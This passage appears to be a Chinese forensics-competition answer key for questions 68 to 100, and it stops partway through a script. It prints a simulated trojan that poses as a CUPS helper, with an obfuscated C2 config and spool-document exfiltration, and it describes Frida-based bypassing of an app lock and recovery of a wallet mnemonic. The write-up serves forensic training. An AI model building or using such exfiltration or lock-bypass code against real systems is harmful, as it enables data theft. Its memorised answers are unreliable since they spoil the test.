CUPS(Common Unix Printing System)是一个适用于类 Unix 操作系统的模块化打印系统,它允许计算机充当打印服务器。运行CUPS的计算机作为主机,可以接收来自客户端计算机的打印作业,处理这些作业,并将其发送到相应的打印机。配置文件为/etc/cups/*.conf,主配置文件为cups-files.conf:

这里与后面69题中的木马中内容相对应:
木马程序中存在以下代码:

68 同一天打印两份文件的用户是¶
答案
alice
根据上题,CUPS服务打印的日志为在/var/log/cups/page_log:


69 木马运行后, 自身产生的进程 ID¶
答案
2177
这里有多个分析思路:
- Linux日志解析:在日志里面我们可以看到如下的日志,结合关键词
C2 server,我们可以确定cups-helper是木马程序。
- 翻阅到
接下来检视
/usr/local/bin/cups-helper:
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# A helper script to manage CUPS spooling and perform health checks.
# Do not modify unless you are an authorized technician.
# KVJEYIHHXSLOPIEBEAWT4ICCMFZWKNRUEDT3ZFXHUCASALJ6EDS23F7HVSTOJOFS4WHY32F5VQ======
import os
import shutil
import socket
import datetime
import re
# --- Configuration ---
# C2 server for uploading diagnostic data
C2_SERVER = "zUTMugDMx4SO5EjL1gTM"
C2_PORT = "zQDN"
# Spool directory to monitor
SPOOL_DIR = "GJTJzBXdjZkMlw2bvB3cGJTJyFmdGJTJ"
# Define staging directory for processing before exfiltration
STAGING_DIR = "GJTJlh2YhNmLGJTJw1GdGJTJ"
# Log file for upload activities
LOG_FILE = "==wZvxmLkF2bsBXdGJTJlJXYoNnRyUCbhN2bs5iRyUCdv9mcGJTJ"
# Keyword to identify sensitive documents for "special handling"
WATCHED_KEYWORD = "=UmcpZmbvdWYyREMyUCdjVmavJHU"
# --- End Configuration ---
def log_message(message):
"""Appends a timestamped message to the log file."""
now = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
full_message = f"[{now}] {message}\n"
with open(LOG_FILE, 'a') as f:
f.write(full_message)
def scan_and_stage():
"""(Simulated) Scans the spool directory and copies sensitive files to the staging area."""
pass
def exfiltrate_data():
"""(Simulated) 'Uploads' files from the staging directory to the C2 server."""
if not os.path.exists(STAGING_DIR):
return
staged_files = os.listdir(STAGING_DIR)
if not staged_files:
return
try:
# The system log entry shows this connection attempt.
# This part of the script provides the "ground truth" for that log.
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
# sock.connect((C2_SERVER, C2_PORT))
for filename in staged_files:
log_message(f"SUCCESS: Uploaded {filename} to {C2_SERVER}")
sock.close()
except Exception as e:
log_message(f"ERROR: Could not connect to C2 server: {e}")
def main():
scan_and_stage()
exfiltrate_data()
if __name__ == "__main__":
main()
这个代码只是一个大概,并没有具体实现,全局配置表现出强烈的base64+reverse的特征。
在Linux日志解析中,可以看到cups-helper的进程号为2177:

70 分析物联网检材,系统中存在一个非标定时任务,这个任务每隔多少分钟执行?¶
答案
10
在 /etc/cron.d 路径下存储着 Linux 的计划任务:

71 木马程序会窃取文档暂存在隐藏目录, 这个目录的绝对路径¶
答案
/tmp/.cache/
参考 69 题, 有代码片段:
# Define staging directory for processing before exfiltration
STAGING_DIR = "GJTJlh2YhNmLGJTJw1GdGJTJ"

72 木马程序将数据上传到的服务器的 IP 地址是¶
答案
185.199.108.153
参考 69 题, 有代码片段:

或者参考 69 题中提到的 Linux 日志 Attempting to connect to C2 server 185.199.108.153 on port 443.
或者翻阅文件系统, 找到日志文件 /root/.local/share/upload.log, 也对应着 cups-helper 中定义的
# Log file for upload activities
LOG_FILE = "==wZvxmLkF2bsBXdGJTJlJXYoNnRyUCbhN2bs5iRyUCdv9mcGJTJ"

该文件中存在一条日志:

73 根据木马程序, 它监视的关键字¶
答案
Project Dragonfire
参考 69 题, 有代码片段:
# Keyword to identify sensitive documents for "special handling"
WATCHED_KEYWORD = "=UmcpZmbvdWYyREMyUCdjVmavJHU"

移动终端取证¶
info
请根据手机检材, 回答以下问题
74 微信 ID "wxid_f4s0jmpvrc522"对应的手机号后 4 位¶
答案
8390

75 "华为应用市场"第一次安装日期¶
答案
09月24日

76 找出检材中钱包 APP, 请列出该 APP 中 ETH 地址后 6 位¶
答案
3FE61F

77 分析出检材中包含"南昌西站"的图片, 计算该图片的 MD5 后 6 位¶
答案
85A51D

78 手机相册中有张"imtoken助记词1.PNG"图片被破坏, 请修复该图片, 列出该图片中第 3 个单词¶
答案
boost
索引搜索 imtoken, 可以直接看到这 2 个文件:

其中 imtoken助记词1.PNG 无法正常查看:

使用 010editor 查看十六进制, 没有发现奇怪的隐写. 根据图片显示的特征, 猜测可能是修改了文件的长宽高. 依据 CRC32 校验, 对png图片长宽进行爆破...(开始攒怒气, 谁 tm 把 'ctf' misc 引入 forensics 的!)
import zlib
import struct
import argparse
import itertools
parser = argparse.ArgumentParser()
parser.add_argument("-f", type=str, default=None, required=True,
help="图片的路径")
args = parser.parse_args()
bin_data = open(args.f, 'rb').read()
crc32key = zlib.crc32(bin_data[12:29]) # 计算crc
original_crc32 = int(bin_data[29:33].hex(), 16) # 原始crc
if crc32key == original_crc32:
print('宽高没有问题!')
else:
input_ = input("宽高被改了, 是否CRC爆破宽高? (Y/n):")
if input_ not in ["Y", "y", ""]:
exit()
else:
for i, j in itertools.product(range(4095), range(4095)):
data = bin_data[12:16] + struct.pack('>i', i) + struct.pack('>i', j) + bin_data[24:29]
crc32 = zlib.crc32(data)
if(crc32 == original_crc32):
print(f"\nCRC32: {hex(original_crc32)}")
print(f"宽度: {i}, hex: {hex(i)}")
print(f"高度: {j}, hex: {hex(j)}")
exit(0)

79 找出一张 PNG 图片, 该图片上显示"助记词2", 请列出该图片上显示的第 2 个单词¶
答案
delay

80 找出检材中显示"助记词3"的文档, 列出该文档中记录的第 3 个助记词单词¶
答案
quarter
根据前两个文件的格式, 搜索助记词关键词:

使用 word 打开, 并没有内容, 并且也不存在文档隐写, 在 010 editor 中看到第三部分助记词:

81 分析出该组助记词正常顺序中最后一个单词(已知助记词 1、助记词 2、助记词 3 中的单词顺序有被调整)¶
答案
segment
已知 ETH 钱包地址:
0x304fEd2927f47692E50158A1148a1B65503FE61F
以及乱序的助记词:
movie unlock boost segment foil delay paddle obtain student electric quarter clerk
用工具恢复一下. 我用的是我自己写的工具, 也可以使用 WXjzcccc/recoverMnemonic.

82 分析出邮箱中收件人 QQ 号为"850563586"的姓名¶
答案
刘佳雨

83 得知机主通过某个应用给 HHshAL 发送了一个文档, 该应用的数据包名是什么¶
答案
dingtong.saichuang

84 接上题, 该应用聊天记录数据库的打开密码¶
答案
@1@#!aajsk1*JKJ
比赛的时候想的是尽可能快捷, 于是直接使用雷电挂 Frida 脚本了, 我就去看别的题目(处理别的线程了), 过了一会回来也就好了:

在复盘的时候就想着看下源码:

emmm...也很简单.


85 接上题, 机主发送的这个加密文档, 打开密码是¶
答案
QWERT666
使用上述密码打开/data/data/dingtong.saichuang/databases/dingtong.db, 在sys_message中可以看到聊天记录:


86 厉明的身份证地址登记的门牌号是¶
答案
722
在邮箱的收件箱中有一封收件:

这里算是一个提示, 机主肯定不是脑子记的, 应该是相关的软件. 因此查看手机的应用列表, 有一个非系统原装但是报名包含 com.android 的程序比较可疑:


使用数据库中的密码对压缩包进行解密:

87 "important1.xlsx"文件中体现的"金达欣"银行卡后 6 位¶
答案
935629
接上题, 使用存储的密码打开文件:

88 接上题, 保存"important1.xlsx"打开密码数据的应用, 该应用的启动密码¶
答案
1596
在模拟器上安装 com.android.mxt, 一进去先让我设置图形. 嗷, 梦回盘古石杯 2024 初赛. 压缩 /data/data/com.android.mxt/files(databases/shared_prefs) 路径, 再 push 到模拟里面, 再解压替换.
使用 MT Tools 可以看到输入密码的界面的 Activity 为 com.android.mxt.act.LockActivity:

使用 Jadx 查看源码:

使用雷电的 Frida 挂一下上面的内容:


就可以打开了.
但是这里有一个小疑问: 这个应用提供了忘记密码的选项,但是我通过第 86 题目中获得的身份证信息,并没有办法恢复密码.

但是看这里的 Frida hook 的结果, 密码还是 1596.
数据分析¶
info
请根据数据分析检材, 回答以下问题
第 89 - 92 题参考检材"01-lott.sql", 第 93 - 95 题参考检材"02-crime_records.sql", 第 96 题参考检材"03-案件卡串号数据", 第 97 题参考检材"04-涉诈案件信息表", 第 98 - 99 题参考检材"05-人像卡口信息表"和"06-涉毒前科人员信息表", 第 100 题参考检材"07-旅店住宿信息表".
这部分的题目全部可以通过 LLM 一把梭. 我用的是 VScode + Cline 插件, 使用的模型是 GLM-4.6.
System Prompt:
你将为用户提供 Python 代码编写和数据分析的支持. 在编写代码时, 需要注意:
- 不要生成注释
- 不要生成不必要的输出
- 严格遵守用户的功能需求
- 如果用户对概念的定义与实际定义有区别, 遵守用户给出的定义
- 编写的代码尽量遵守 Python 代码规范, 并且 Pythonic
89 统计庄家"188"在 2021-05-10 当日的电子投注总笔数¶
答案
2299
本地起一个 mysqld, Navicat 连数据库然后直接导入 sql 文件的数据. 或者也可以用火眼的数据库分析工具, 用内置的 mysql 起数据库.
Prompt:
写一个 python 脚本,用于从数据库中获取以下信息:
1. 统计庄家"188"在 2021-05-10 当日的电子投注总笔数
2. 统计"t_trade_betrecord"中庄家"188"记录中彩票类型为"jnd28"且期号在"t_lottery_jnd"表中存在的记录数
3. 统计庄家"188"的玩家在 2021-05-10 当日:电子投注内容出现频率最高的电子投注内容
4. 关联"t_trade_betrecord"与"t_lottery_jnd"表, 分析庄家"188"在 2021-05-10 投注"jnd28"时: 当开奖结果为"大"时, 玩家投注包含"小"的笔数占比
可以执行的额外操作:
1. 你可以连接本地的 mysql 数据库(host=localhost, user=root, password=<空密码>)来获取数据
2. 你可以在命令行运行 mysql 查询, 使用本地数据库的 lott4 数据库, 完善 python 脚本.
3. 由于密码为空, 你可以在输入密码的提示符出现后, 通过按下空格避免用户的手动交互
Cline 生成的代码:
import mysql.connector
from mysql.connector import Error
import sys
class DatabaseAnalyzer:
def __init__(self, host='localhost', user='root', password='', database=None, port=3306):
self.host = host
self.user = user
self.password = password
self.database = database
self.port = port
self.connection = mysql.connector.connect(
host=self.host,
user=self.user,
password=self.password,
database=self.database,
port=self.port
)
def disconnect(self):
if self.connection and self.connection.is_connected():
self.connection.close()
def execute_query(self, query, params=None):
cursor = self.connection.cursor(dictionary=True)
cursor.execute(query, params or ())
result = cursor.fetchall()
cursor.close()
return result
def query_1_electronic_betting_count(self):
print("\n=== 查询1: 统计庄家'188'在2021-05-10当日的投注总笔数 ===")
query = """
SELECT COUNT(*) as total_count
FROM t_trade_betrecord
WHERE Keeper = '188'
AND DATE(CreateTime) = '2021-05-10'
"""
result = self.execute_query(query)
if result:
count = result[0]['total_count']
print(f"庄家'188'在2021-05-10当日的投注总笔数: {count}")
return count
def query_2_jnd28_valid_records(self):
print("\n=== 查询2: 统计庄家'188'的JND28彩票有效记录数 ===")
query = """
SELECT COUNT(*) as valid_count
FROM t_trade_betrecord tbr
INNER JOIN t_lottery_jnd tlj ON tbr.Issue = tlj.Issue
WHERE tbr.Keeper = '188'
AND tbr.LotteryType = 'JND28'
"""
result = self.execute_query(query)
if result:
count = result[0]['valid_count']
print(f"庄家'188'的JND28彩票且期号有效的记录数: {count}")
return count
def query_3_most_frequent_electronic_content(self):
print("\n=== 查询3: 统计庄家'188'的玩家在2021-05-10当日最频繁的投注内容 ===")
query = """
SELECT Content, COUNT(*) as frequency
FROM t_trade_betrecord
WHERE Keeper = '188'
AND DATE(CreateTime) = '2021-05-10'
AND Content IS NOT NULL AND Content != ''
GROUP BY Content
ORDER BY frequency DESC
LIMIT 1
"""
result = self.execute_query(query)
if result and result[0]['Content']:
content = result[0]['Content']
frequency = result[0]['frequency']
print(f"最频繁的投注内容: '{content}' (出现次数: {frequency})")
return content, frequency
def query_4_small_bet_ratio_when_big_result(self):
print("\n=== 查询4: 分析庄家'188'在2021-05-10投注JND28时,开奖结果为'大'时投注'小'的占比 ===")
query_big_results = """
SELECT tbr.Content, tlj.R_B_M
FROM t_trade_betrecord tbr
INNER JOIN t_lottery_jnd tlj ON tbr.Issue = tlj.Issue
WHERE tbr.Keeper = '188'
AND DATE(tbr.CreateTime) = '2021-05-10'
AND tbr.LotteryType = 'JND28'
AND tlj.R_B_M = '大'
"""
big_results = self.execute_query(query_big_results)
if not big_results:
print("未找到开奖结果为'大'的记录或查询失败")
return 0.0
total_big_results = len(big_results)
small_bets = 0
for record in big_results:
bet_content = record['Content']
if bet_content and '小' in str(bet_content):
small_bets += 1
ratio = (small_bets / total_big_results) * 100 if total_big_results > 0 else 0
print(f"开奖结果为'大'的总记录数: {total_big_results}")
print(f"其中投注内容包含'小'的记录数: {small_bets}")
print(f"占比: {ratio:.2f}%")
return ratio
def run_all_queries(self):
result1 = self.query_1_electronic_betting_count()
result2 = self.query_2_jnd28_valid_records()
result3_content, result3_freq = self.query_3_most_frequent_electronic_content()
result4 = self.query_4_small_bet_ratio_when_big_result()
self.disconnect()
return True
def main():
analyzer = DatabaseAnalyzer(
host="localhost",
port=3306,
user="root",
password="",
database="lott4"
)
success = analyzer.run_all_queries()
if __name__ == "__main__":
main()
运行结果:

90 统计"t_trade_betrecord"中庄家"188"记录中彩票类型为"jnd28"且期号在"t_lottery_jnd"表中存在的记录数¶
答案
92842
91 统计庄家"188"的玩家在 2021-05-10 当日:电子投注内容出现频率最高的电子投注内容¶
答案
500单
92 关联"t_trade_betrecord"与"t_lottery_jnd"表, 分析庄家"188"在 2021-05-10 投注"jnd28"时: 当开奖结果为"大"时, 玩家投注包含"小"的笔数占比¶
答案
44.88%
93 统计相邻两次作案时间间隔在 1 天之内的城市和该城市两次作案时间间隔在 1 天之内的案件总数量, 找出案件总数最多的城市名¶
答案
福州
和上面的做法相同.
Prompt:
写一个 python 脚本,用于从数据库中获取以下信息:
1. 统计相邻两次作案时间间隔在 1 天之内的城市和该城市两次作案时间间隔在 1 天之内的案件总数量, 找出案件总数最多的城市名
2. 根据案件的损失金额和伤情等级, 将案件分为"轻微案件", "一般案件", "重大案件", "其他"四类, 并统计 2023 年各类型案件的数量
> 分级规则:
>
> - 轻微案件: 损失金额 <= 10000 元且无人员受伤(injury_level 为空或未提及)
> - 一般案件: 损失金额 10001 - 50000 元, 或有轻微伤
> - 重大案件: 损失金额 > 50000 元, 或有轻伤或有重伤
> - 其他: 非上述情况
3. 统计 2021 - 2023 年期间, 每年处理结果为"移送起诉"的案件里, 每一年中损失总额最高的案件类型对应的损失总额
可以执行的额外操作:
1. 你可以连接本地的 mysql 数据库(host=localhost, user=root, password=<空密码>)来获取数据
2. 你可以在命令行运行 mysql 查询, 使用本地数据库的 lott4 数据库, 完善 python 脚本.
3. 由于密码为空, 你可以在输入密码的提示符出现后, 通过按下空格避免用户的手动交互
Cline 生成的代码:
import mysql.connector
from datetime import datetime
class CrimeAnalyzer:
def __init__(self, host='localhost', user='root', password='', database='dsj', port=3306):
self.host = host
self.user = user
self.password = password
self.database = database
self.port = port
self.connection = mysql.connector.connect(
host=self.host,
user=self.user,
password=self.password,
database=self.database,
port=self.port
)
def disconnect(self):
if self.connection and self.connection.is_connected():
self.connection.close()
def execute_query(self, query, params=None):
cursor = self.connection.cursor(dictionary=True)
cursor.execute(query, params or ())
result = cursor.fetchall()
cursor.close()
return result
def parse_crime_time(self, time_str):
if not time_str:
return None
try:
formats = [
'%Y/%m/%d %H:%M',
'%Y-%m-%d %H:%M',
'%Y/%m/%d %H:%M:%S',
'%Y-%m-%d %H:%M:%S'
]
for fmt in formats:
try:
return datetime.strptime(time_str.strip(), fmt)
except ValueError:
continue
return None
except Exception:
return None
def query_1_adjacent_crimes_within_one_day(self):
print("\n=== 查询1: 统计相邻两次作案时间间隔在1天内的城市和案件数量 ===")
query = """
SELECT city, crime_time, case_id
FROM crime_records
WHERE city IS NOT NULL AND crime_time IS NOT NULL
ORDER BY city, crime_time
"""
records = self.execute_query(query)
city_stats = {}
for record in records:
city = record['city']
crime_time = self.parse_crime_time(record['crime_time'])
if city not in city_stats:
city_stats[city] = {
'crimes': [],
'adjacent_count': 0
}
if crime_time:
city_stats[city]['crimes'].append((crime_time, record['case_id']))
for city, data in city_stats.items():
crimes = sorted(data['crimes'], key=lambda x: x[0])
adjacent_count = 0
for i in range(1, len(crimes)):
time_diff = crimes[i][0] - crimes[i-1][0]
if time_diff.total_seconds() <= 24 * 3600: # 24小时内
adjacent_count += 1
city_stats[city]['adjacent_count'] = adjacent_count
max_city = None
max_count = 0
for city, data in city_stats.items():
count = data['adjacent_count']
if count > max_count:
max_count = count
max_city = city
if max_city:
print(f"\n案件总数最多的城市: {max_city} (共{max_count}件)")
return max_city, max_count, city_stats
def classify_case(self, loss_amount, injury_level):
if loss_amount is None:
loss_amount = 0
if loss_amount > 50000 or (injury_level and ('轻伤' in injury_level or '重伤' in injury_level)):
return "重大案件"
elif (10001 <= loss_amount <= 50000) or (injury_level and '轻微伤' in injury_level):
return "一般案件"
elif loss_amount <= 10000 and (injury_level is None or injury_level.strip() == ''):
return "轻微案件"
else:
return "其他"
def query_2_case_classification_2023(self):
print("\n=== 查询2: 2023年案件分类统计 ===")
query = """
SELECT loss_amount, injury_level, crime_time
FROM crime_records
WHERE crime_time IS NOT NULL
AND (crime_time LIKE '2023/%' OR crime_time LIKE '2023-%')
"""
records = self.execute_query(query)
classification_stats = {
"轻微案件": 0,
"一般案件": 0,
"重大案件": 0,
"其他": 0
}
total_cases = 0
for record in records:
loss_amount = record['loss_amount']
injury_level = record['injury_level']
case_type = self.classify_case(loss_amount, injury_level)
classification_stats[case_type] += 1
total_cases += 1
print("2023年各类型案件数量统计:")
for case_type, count in classification_stats.items():
percentage = (count / total_cases * 100) if total_cases > 0 else 0
print(f" {case_type}: {count}件 ({percentage:.1f}%)")
print(f"总计: {total_cases}件")
return classification_stats, total_cases
def query_3_prosecution_cases_max_loss_by_type(self):
print("\n=== 查询3: 2021-2023年移送起诉案件损失总额统计 ===")
results = {}
for year in ['2021', '2022', '2023']:
query = """
SELECT crime_type, loss_amount, crime_time
FROM crime_records
WHERE handling_result = '移送起诉'
AND (crime_time LIKE %s OR crime_time LIKE %s)
AND crime_type IS NOT NULL
AND loss_amount IS NOT NULL
"""
params = (f'{year}/%', f'{year}-%')
records = self.execute_query(query, params)
if not records:
print(f"{year}年未找到移送起诉案件记录")
results[year] = {'max_type': None, 'max_loss': 0}
continue
type_loss_stats = {}
for record in records:
crime_type = record['crime_type']
loss_amount = record['loss_amount'] or 0
if crime_type not in type_loss_stats:
type_loss_stats[crime_type] = 0
type_loss_stats[crime_type] += loss_amount
max_type = None
max_loss = 0
for crime_type, total_loss in type_loss_stats.items():
if total_loss > max_loss:
max_loss = total_loss
max_type = crime_type
if max_type:
print(f"{year}年损失总额最高的案件类型: {max_type} (总额: {max_loss:.2f}元)")
results[year] = {'max_type': max_type, 'max_loss': max_loss}
return results
def run_all_queries(self):
result1 = self.query_1_adjacent_crimes_within_one_day()
result2 = self.query_2_case_classification_2023()
result3 = self.query_3_prosecution_cases_max_loss_by_type()
self.disconnect()
return True
def main():
analyzer = CrimeAnalyzer(
host="localhost",
port=3306,
user="root",
password="",
database="dsj"
)
success = analyzer.run_all_queries()
if __name__ == "__main__":
main()
运行结果:

94 根据案件的损失金额和伤情等级, 将案件分为"轻微案件", "一般案件", "重大案件", "其他"四类, 并统计 2023 年各类型案件的数量¶
分级规则:
- 轻微案件: 损失金额 <= 10000 元且无人员受伤(injury_level 为空或未提及)
- 一般案件: 损失金额 10001 - 50000 元, 或有轻微伤
- 重大案件: 损失金额 > 50000 元, 或有轻伤或有重伤
- 其他: 非上述情况
答案
15712/1985/1815/465
依据使用的时间来源字段不同, 本题答案有所不同.
95 统计 2021 - 2023 年期间, 每年处理结果为"移送起诉"的案件里, 每一年中损失总额最高的案件类型对应的损失总额¶
答案
325806042.91/344804883.98/352132431.37
96 该表每条数据的"卡串号(IMSI)"字段值存在问题, 不可信. 真实可信的卡串号值在"溯源"字段中(溯源字段的值格式均为{手机号=[待获取的卡串号->手机卡 串号(IMSI)使用过的手机号->当前]}). 请统计分析出该表中哪个真实卡串号出现过的次数最多¶
答案
460017709683511
xlsx 导出成 csv, 让 Cline 写个 python 脚本.
Prompt:
在文件 03-案件卡串号数据.csv 中,该表每条数据的"卡串号(IMSI)"字段值存在问题, 不可信. 真实可信的卡串号值在"溯源"字段中(溯源字段的值格式均为`{手机号=[待获取的卡串号->手机卡 串号(IMSI)使用过的手机号->当前]}`). 请写一个python脚本统计分析出该表中哪个真实卡串号出现过的次数最多
生成的代码:
import csv
import re
from collections import Counter
def extract_real_imsi(traceback_str):
pattern = r'\[([0-9]+)->'
match = re.search(pattern, traceback_str)
if match:
return match.group(1)
return None
def analyze_imsi_data(csv_file):
real_imsi_list = []
invalid_records = []
with open(csv_file, 'r', encoding='utf-8-sig') as file:
reader = csv.DictReader(file)
for row_num, row in enumerate(reader, 2):
phone = row['手机号']
recorded_imsi = row['卡串号(IMSI)']
traceback = row['溯源']
real_imsi = extract_real_imsi(traceback)
if real_imsi:
real_imsi_list.append(real_imsi)
if recorded_imsi.strip() != real_imsi:
invalid_records.append({
'row': row_num,
'phone': phone,
'recorded_imsi': recorded_imsi.strip(),
'real_imsi': real_imsi
})
return real_imsi_list, invalid_records
def main():
csv_file = '03-案件卡串号数据.csv'
real_imsi_list, invalid_records = analyze_imsi_data(csv_file)
imsi_counter = Counter(real_imsi_list)
if imsi_counter:
most_common_imsi = imsi_counter.most_common(1)[0]
print(f"出现次数最多的真实卡串号: {most_common_imsi[0]}")
print(f"出现次数: {most_common_imsi[1]}")
if __name__ == "__main__":
main()
运行结果:

97 统计每个分局 2024 - 2025 年每月被骗总额环比大于 30% 的月份个数, 环比大于 30% 的月份个数最多的分局 ID 名称¶
环比定义: (这个月的数据 - 上个月的数据)/上个月数据
特殊情况: 例如某分局 2025 年 1 月被骗金额总和为 100, 若该分局 2024 年 12 月没有被骗金额, 则该分局 2025 年 1 月也符合题目要求, 应增加一个月份. 2024 年 1 月不需要计算与上个月的环比情况
答案
A675
Prompt:
在文件 04-涉诈案件信息表.csv 中,请写一个python脚本统计每个分局 2024 - 2025 年每月被骗总额环比大于 30% 的月份个数, 环比大于 30% 的月份个数最多的分局 ID 名称
> 环比定义: (这个月的数据 - 上个月的数据)/上个月数据
>
> 特殊情况: 例如某分局 2025 年 1 月被骗金额总和为 100, 若该分局 2024 年 12 月没有被骗金额, 则该分局 2025 年 1 月也符合题目要求, 应增加一个月份. 2024 年 1 月不需要计算与上个月的环比情况
>
Cline 生成的代代码:
import pandas as pd
def analyze_fraud_data(csv_file):
df = pd.read_csv(csv_file)
df['案件时间'] = pd.to_datetime(df['案件时间'])
df_filtered = df[(df['案件时间'].dt.year >= 2024) & (df['案件时间'].dt.year <= 2025)].copy()
df_filtered['年月'] = df_filtered['案件时间'].dt.to_period('M')
monthly_data = df_filtered.groupby(['分局ID', '年月'])['被骗金额'].sum().reset_index()
all_months = pd.period_range(start='2024-01', end='2025-12', freq='M')
all_branches = df_filtered['分局ID'].unique()
complete_data = []
for branch in all_branches:
for month in all_months:
complete_data.append({
'分局ID': branch,
'年月': month,
'被骗金额': 0.0
})
complete_df = pd.DataFrame(complete_data)
monthly_data_complete = complete_df.merge(
monthly_data,
on=['分局ID', '年月'],
how='left',
suffixes=('', '_actual')
)
monthly_data_complete['被骗金额'] = monthly_data_complete['被骗金额_actual'].fillna(0)
monthly_data_complete = monthly_data_complete.drop('被骗金额_actual', axis=1)
results = {}
for branch in all_branches:
branch_data = monthly_data_complete[monthly_data_complete['分局ID'] == branch].sort_values('年月')
high_growth_months = 0
growth_details = []
for i in range(1, len(branch_data)):
current_month = branch_data.iloc[i]
previous_month = branch_data.iloc[i-1]
current_amount = current_month['被骗金额']
previous_amount = previous_month['被骗金额']
if previous_amount == 0:
if current_amount > 0:
growth_rate = float('inf')
high_growth_months += 1
growth_details.append({
'month': str(current_month['年月']),
'current_amount': current_amount,
'previous_amount': previous_amount,
'growth_rate': '∞',
'is_high_growth': True
})
else:
growth_rate = 0
growth_details.append({
'month': str(current_month['年月']),
'current_amount': current_amount,
'previous_amount': previous_amount,
'growth_rate': 0,
'is_high_growth': False
})
else:
growth_rate = (current_amount - previous_amount) / previous_amount * 100
is_high_growth = growth_rate > 30
if is_high_growth:
high_growth_months += 1
growth_details.append({
'month': str(current_month['年月']),
'current_amount': current_amount,
'previous_amount': previous_amount,
'growth_rate': round(growth_rate, 2),
'is_high_growth': is_high_growth
})
results[branch] = {
'high_growth_months': high_growth_months,
'total_months': len(branch_data) - 1,
'details': growth_details
}
max_growth_branch = max(results.keys(), key=lambda x: results[x]['high_growth_months'])
max_growth_count = results[max_growth_branch]['high_growth_months']
return results, max_growth_branch, max_growth_count
if __name__ == "__main__":
csv_file = "04-涉诈案件信息表.csv"
results, top_branch, top_count = analyze_fraud_data(csv_file)
print(f"环比大于30%月份个数最多的分局是: {top_branch} ({top_count}个月)")
运行结果:

98 为摸排疑似涉毒的窝点, 请分析出在 00:00:00~06:00:00(含 0 点与 6 点)人像记录中, 哪个传感器点位 ID 抓拍到最多的不同涉毒前科人员¶
两表均无重复数据, 直接要求答题即可.
感知时间字段格式均为
yyyy-MM-dd HH:mm:ss; 传感器 ID(人像卡口点位)值不同则代表不同的摄像点位
答案
350203103
Prompt:
在文件 05-人像卡口信息表.csv 和 06-涉毒前科人员信息表.csv 中,请写一个python脚本完成以下数据分析任务:
1. 为摸排疑似涉毒的窝点, 请分析出在 00:00:00~06:00:00(含 0 点与 6 点)人像记录中, 哪个传感器点位 ID 抓拍到最多的不同涉毒前科人员
2. 接上题, 为摸排潜在的涉毒人员, 请分析出有多少个非涉毒前科人员至少跟 3 个不同的涉毒前科人员同行过
> 两表均无重复数据, 直接要求答题即可.
>
> 感知时间字段格式均为 `yyyy-MM-dd HH:mm:ss`; 传感器 ID(人像卡口点位)值不同则代表不同的摄像点位
>
> 本题的"同行"指: 两人在同一个人像卡口点位感知时间差在 10(含)秒内
>
Cline 生成的代码:
import pandas as pd
def load_data():
portrait_data = pd.read_csv('05-人像卡口信息表.csv')
drug_data = pd.read_csv('06-涉毒前科人员信息表.csv')
return portrait_data, drug_data
def analyze_sensor_drug_records():
portrait_data, drug_data = load_data()
drug_records = set(drug_data['证件号码'].tolist())
portrait_data['感知时间'] = pd.to_datetime(portrait_data['感知时间'])
early_morning_data = portrait_data[
(portrait_data['感知时间'].dt.hour >= 0) &
(portrait_data['感知时间'].dt.hour < 6)
].copy()
early_morning_data['是否涉毒前科'] = early_morning_data['证件号码'].isin(drug_records)
drug_early_morning = early_morning_data[early_morning_data['是否涉毒前科']]
sensor_drug_count = drug_early_morning.groupby('传感器ID')['证件号码'].nunique().reset_index()
sensor_drug_count.columns = ['传感器ID', '不同涉毒前科人员数']
max_sensor = sensor_drug_count.loc[sensor_drug_count['不同涉毒前科人员数'].idxmax()]
return max_sensor['传感器ID'], max_sensor['不同涉毒前科人员数']
def analyze_non_drug_companions():
portrait_data, drug_data = load_data()
portrait_data['是否涉毒'] = portrait_data['证件号码'].isin(drug_data['证件号码'])
non_drug_with_drug_counts = {}
for sensor_id, group in portrait_data.groupby('传感器ID'):
group = group.sort_values('感知时间')
drug_records = group[group['是否涉毒']].copy()
non_drug_records = group[~group['是否涉毒']].copy()
drug_records['感知时间'] = pd.to_datetime(drug_records['感知时间'])
non_drug_records['感知时间'] = pd.to_datetime(non_drug_records['感知时间'])
for idx, non_drug_row in non_drug_records.iterrows():
time_diff = (drug_records['感知时间'] - non_drug_row['感知时间']).abs()
nearby_drug = drug_records[time_diff <= pd.Timedelta(seconds=10)]
unique_drug_persons = set(nearby_drug['证件号码'])
if non_drug_row['证件号码'] not in non_drug_with_drug_counts:
non_drug_with_drug_counts[non_drug_row['证件号码']] = set()
non_drug_with_drug_counts[non_drug_row['证件号码']].update(unique_drug_persons)
count = 0
for person, drug_persons in non_drug_with_drug_counts.items():
if len(drug_persons) >= 3:
count += 1
return count
def main():
sensor_id, drug_count = analyze_sensor_drug_records()
print(f"问题1: 在00:00:00~06:00:00时间段内,传感器点位ID {sensor_id} 抓拍到最多的不同涉毒前科人员,数量为 {drug_count} 人")
non_drug_count = analyze_non_drug_companions()
print(f"问题2: 有 {non_drug_count} 个非涉毒前科人员至少跟3个不同的涉毒前科人员同行过")
if __name__ == "__main__":
main()
运行结果:

99 接上题, 为摸排潜在的涉毒人员, 请分析出有多少个非涉毒前科人员至少跟 3 个不同的涉毒前科人员同行过¶
本题的"同行"指: 两人在同一个人像卡口点位感知时间差在 10(含)秒内
答案
4
100 请筛选出 2024 和 2025 年的住宿记录(以"入住时间"为准), 频繁更换酒店(即只住一天然后更换酒店)的人员有几个¶
答案
35
这道题问题比较大, 模糊不清的点很多.
Prompt:
在文件 07-旅店住宿信息表.csv 中,请写一个python脚本完成以下数据分析任务:
1. 请筛选出 2024 和 2025 年的住宿记录(以"入住时间"为准), 频繁更换酒店(即只住一天然后更换酒店)的人员有几个
Cline 生成的代码:
import pandas as pd
def analyze_frequent_hotel_changers():
df = pd.read_csv('07-旅店住宿信息表.csv')
df['入住时间'] = pd.to_datetime(df['入住时间'])
df['离店时间'] = df['离店时间'].replace('*', None)
df['离店时间'] = pd.to_datetime(df['离店时间'], errors='coerce')
df_2024_2025 = df[df['入住时间'].dt.year.isin([2024, 2025])]
df_sorted = df_2024_2025.sort_values(['证件号码', '入住时间'])
frequent_changers = set()
for id_num, group in df_sorted.groupby('证件号码'):
if len(group) < 2:
continue
group = group.reset_index(drop=True)
for i in range(len(group) - 1):
current_stay = group.iloc[i]
next_stay = group.iloc[i + 1]
if pd.notna(current_stay['离店时间']):
stay_duration = (current_stay['离店时间'] - current_stay['入住时间']).days
else:
stay_duration = 1
if stay_duration <= 1 and current_stay['旅店编码'] != next_stay['旅店编码']:
